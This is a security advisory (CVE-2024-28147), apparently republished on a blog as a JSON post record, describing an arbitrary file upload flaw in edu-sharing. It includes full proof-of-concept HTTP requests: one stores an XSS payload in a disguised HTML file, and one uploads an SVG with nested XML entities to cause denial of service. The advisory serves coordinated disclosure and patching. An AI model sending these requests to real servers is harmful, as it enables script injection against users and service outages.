{"id":57655,"date":"2024-06-24T17:29:54","date_gmt":"2024-06-24T14:29:54","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179199\/SA-20240620-0.txt"},"modified":"2024-06-24T17:29:54","modified_gmt":"2024-06-24T14:29:54","slug":"edu-sharing-arbitrary-file-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/edu-sharing-arbitrary-file-upload\/","title":{"rendered":"Edu-Sharing Arbitrary File Upload"},"content":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20240620-0 &gt;<br \/>=======================================================================<br \/>title: Arbitrary File Upload<br \/>product: edu-sharing (metaVentis GmbH)<br \/>vulnerable versions: &lt;8.0.8-RC2, &lt;8.1.4-RC0, &lt;9.0.0-RC19<br \/>fixed versions: &gt;=8.0.8-RC2, &gt;=8.1.4-RC0, &gt;=9.0.0-RC19<br \/>CVE number: CVE-2024-28147<br \/>impact: high<br \/>homepage: https:\/\/edu-sharing.com<br \/>found: 2024-04-04<br \/>by: Kai Zimmermann (Office Frankfurt)<br \/>SEC Consult Vulnerability Lab<\/p>\n<p>An integrated part of SEC Consult, an Eviden business<br \/>Europe | Asia<\/p>\n<p>https:\/\/www.sec-consult.com<\/p>\n<p>=======================================================================<\/p>\n<p>Vendor description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br \/>&#8220;edu-sharing software enables you to network your learning platforms and other<br \/>educational software. Share learning content, metadata and tools &#8211; make them<br \/>available in an educational cloud and let your users use them in all connected<br \/>systems.&#8221;<\/p>\n<p>Source: https:\/\/edu-sharing.com<\/p>\n<p>Business recommendation:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>The vendor provides a patch which should be installed immediately.<\/p>\n<p>SEC Consult highly recommends to perform a thorough security review of the product<br \/>conducted by security professionals to identify and resolve potential further<br \/>security issues.<\/p>\n<p>Vulnerability overview\/description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>1) Arbitrary File Upload (CVE-2024-28147)<br \/>An authenticated user can upload arbitrary files in the upload function for<br \/>collection preview images. An attacker may upload an HTML file that includes<br \/>malicious JavaScript code which will be executed if a user visits the direct<br \/>URL of the collection preview image (Stored Cross Site Scripting). It is also<br \/>possible to upload SVG files that include nested XML entities. Those are parsed<br \/>when a user visits the direct URL of the collection preview image, which may be<br \/>utilized for a Denial of Service attack.<\/p>\n<p>Proof of concept:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>1) Arbitrary File Upload (CVE-2024-28147)<br \/>An authenticated user can update the preview image of an existing collection<br \/>by sending the following request:<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>POST \/edu-sharing\/rest\/collection\/v1\/collections\/-home-\/$COLLECTIONID\/icon?mimetype=image%2Fpng HTTP\/1.1<br \/>Host: $SERVER<br \/>Cookie: INGRESSCOOKIE=$INGRESSCOOKIE; JSESSIONID=$SESSIONID<br \/>Content-Type: multipart\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;159605426213527963452762824885<br \/>Content-Length: 288<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;159605426213527963452762824885<br \/>Content-Disposition: form-data; name=&#8221;file&#8221;;<\/p>\n<p>\u0089PNG<\/p>\n[&#8230;]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;159605426213527963452762824885&#8211;<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>The URL parameter &#8220;mimetype&#8221; can be modified to match any uploaded file. The<br \/>value is directly used in the server&#8217;s &#8220;Content-Type&#8221; header.<br \/>Both, the Content-Type request header and the filename parameter in the<br \/>Content-Disposition request header do not need to be included in the data<br \/>boundary inside the request in order to be sent successfully and can therefore<br \/>be removed.<br \/>The preview image can then be accessed by visiting the following URL:<br \/>https:\/\/$SERVER\/edu-sharing\/preview?nodeId=$COLLECTIONID<\/p>\n<p>a. Stored Cross Site Scripting (HTML Upload)<br \/>The initial request can be modified to include an HTML file, while keeping<br \/>the magic bytes of a PNG image file. The &#8220;mimetype&#8221; parameter is changed to<br \/>&#8220;text\/html&#8221;:<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>POST \/edu-sharing\/rest\/collection\/v1\/collections\/-home-\/$COLLECTIONID\/icon?mimetype=text\/html HTTP\/1.1<br \/>Host: $SERVER<br \/>Cookie: INGRESSCOOKIE=$INGRESSCOOKIE; JSESSIONID=$SESSIONID<br \/>Content-Type: multipart\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;159605426213527963452762824885<br \/>Content-Length: 288<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;159605426213527963452762824885<br \/>Content-Disposition: form-data; name=&#8221;file&#8221;;<\/p>\n<p>\u0089PNG<\/p>\n<p>&lt;!DOCTYPE html&gt;<br \/>&lt;html&gt;<br \/>&lt;body&gt;<br \/>&lt;h1&gt;Test&lt;\/h1&gt;<br \/>&lt;script&gt;alert(window.location)&lt;\/script&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;159605426213527963452762824885&#8211;<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>Visiting the preview URL as seen in figure 1 below shows that the JavaScript<br \/>code is executed:<br \/>[01_stored_xss.png]\n<p>b. Denial of Service (SVG Upload)<br \/>The initial request can be modified to upload an SVG file containing<br \/>nested XML entities. The &#8220;mimetype&#8221; parameter is changed to &#8220;image%2Fsvg&#8221;:<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>POST \/edu-sharing\/rest\/collection\/v1\/collections\/-home-\/$COLLECTIONID\/icon?mimetype=image%2Fsvg HTTP\/1.1<br \/>Host: $SERVER<br \/>Cookie: INGRESSCOOKIE=$INGRESSCOOKIE; JSESSIONID=$SESSIONID<br \/>Content-Type: multipart\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;29539943986372261721095197803<br \/>Content-Length: 581<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;29539943986372261721095197803<br \/>Content-Disposition: form-data; name=&#8221;file&#8221;;<\/p>\n<p>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;<br \/>&lt;!DOCTYPE foo [&lt;!ELEMENT foo ANY&gt;&lt;!ENTITY bar &#8220;Text &#8220;&gt;&lt;!ENTITY t1 <br \/>&#8220;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&amp;bar;&#8221;&gt;&lt;!ENTITY t2 &#8220;&amp;t1;&amp;t1;&amp;t1;&amp;t1;&#8221;&gt;]&gt;<br \/>&lt;svg xmlns=&#8221;http:\/\/www.w3.org\/2000\/svg&#8221;&gt;<br \/>&lt;data&gt;&amp;t2;&lt;\/data&gt;<br \/>&lt;\/svg&gt;<\/p>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;29539943986372261721095197803&#8211;<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<\/p>\n<p>Visiting the preview URL as seen in figure 2 below shows that the XML code is<br \/>parsed:<br \/>[02_denial_of_service]\n<p>Vulnerable \/ tested versions:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>The following version has been tested which was the latest version available<br \/>at the time of the test:<br \/>* 9.0 (pre-release)<\/p>\n<p>The vendor confirmed that previous versions (8.0 and 8.1) are affected as well.<\/p>\n<p>Vendor contact timeline:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br \/>2024-04-10: Contacting vendor through security@edu-sharing.com<br \/>2024-04-11: Vendor replied and confirmed security contact.<br \/>Advisory information has been sent to vendor.<br \/>2024-04-12: Vendor confirmed receiving the advisory and is now trying to<br \/>reproduce the described behavior.<br \/>2024-05-03: Reminder sent to security@edu-sharing.com, asking for an update on<br \/>fixing the vulnerability.<br \/>2024-05-07: Vendor provides affected versions. Fixes have already been implemented<br \/>and published. Vendor is requesting to wait with the public advisory<br \/>release in order to allow affected customers to perform the next rollout.<br \/>2024-05-07: Vendor provides fixed versions.<br \/>Public advisory release scheduled for 2024-06-04.<br \/>2024-05-15: Public advisory release postponed to 2024-06-20.<br \/>2024-06-20: Coordinated release of advisory.<\/p>\n<p>Solution:<br \/>&#8212;&#8212;&#8212;<br \/>The repository base version in use can be identified in the Admin-Tools.<br \/>The vendor provides a patch for the affected versions:<br \/>* Version 8.0: Update repository version to &#8220;8.0.8-RC2&#8221; or later<br \/>* Version 8.1: Update repository version to &#8220;8.1.4-RC0&#8221; or later<br \/>* Version 9.0: Update repository version to &#8220;9.0.0-RC19&#8221; or later<\/p>\n<p>Workaround:<br \/>&#8212;&#8212;&#8212;&#8211;<br \/>None<\/p>\n<p>Advisory URL:<br \/>&#8212;&#8212;&#8212;&#8212;-<br \/>https:\/\/sec-consult.com\/vulnerability-lab\/<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>SEC Consult Vulnerability Lab<br \/>An integrated part of SEC Consult, an Eviden business<br \/>Europe | Asia<\/p>\n<p>About SEC Consult Vulnerability Lab<br \/>The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an<br \/>Eviden business. It ensures the continued knowledge gain of SEC Consult in the<br \/>field of network and application security to stay ahead of the attacker. The<br \/>SEC Consult Vulnerability Lab supports high-quality penetration testing and<br \/>the evaluation of new offensive and defensive technologies for our customers.<br \/>Hence our customers obtain the most current information about vulnerabilities<br \/>and valid recommendation about the risk profile of new technologies.<\/p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br \/>Interested to work with the experts of SEC Consult?<br \/>Send us your application https:\/\/sec-consult.com\/career\/<\/p>\n<p>Interested in improving your cyber security with the experts of SEC Consult?<br \/>Contact our local offices https:\/\/sec-consult.com\/contact\/<br \/>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n<p>Mail: security-research at sec-consult dot com<br \/>Web: https:\/\/www.sec-consult.com<br \/>Blog: https:\/\/blog.sec-consult.com<br \/>Twitter: https:\/\/twitter.com\/sec_consult<\/p>\n<p>EOF Kai Zimmermann \/ 2024<\/p>\n","protected":false},"excerpt":{"rendered":"<p>SEC Consult Vulnerability Lab Security Advisory &lt; 20240620-0 &gt;=======================================================================title: Arbitrary File Uploadproduct: edu-sharing (metaVentis GmbH)vulnerable versions: &lt;8.0.8-RC2, &lt;8.1.4-RC0, &lt;9.0.0-RC19fixed versions: &gt;=8.0.8-RC2, &gt;=8.1.4-RC0, &gt;=9.0.0-RC19CVE number: CVE-2024-28147impact: highhomepage: https:\/\/edu-sharing.comfound: 2024-04-04by: Kai Zimmermann (Office Frankfurt)SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Eviden businessEurope | Asia https:\/\/www.sec-consult.com ======================================================================= Vendor description:&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-&#8220;edu-sharing software enables you to network &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57655","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57655","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57655"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57655\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57655"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57655"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57655"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}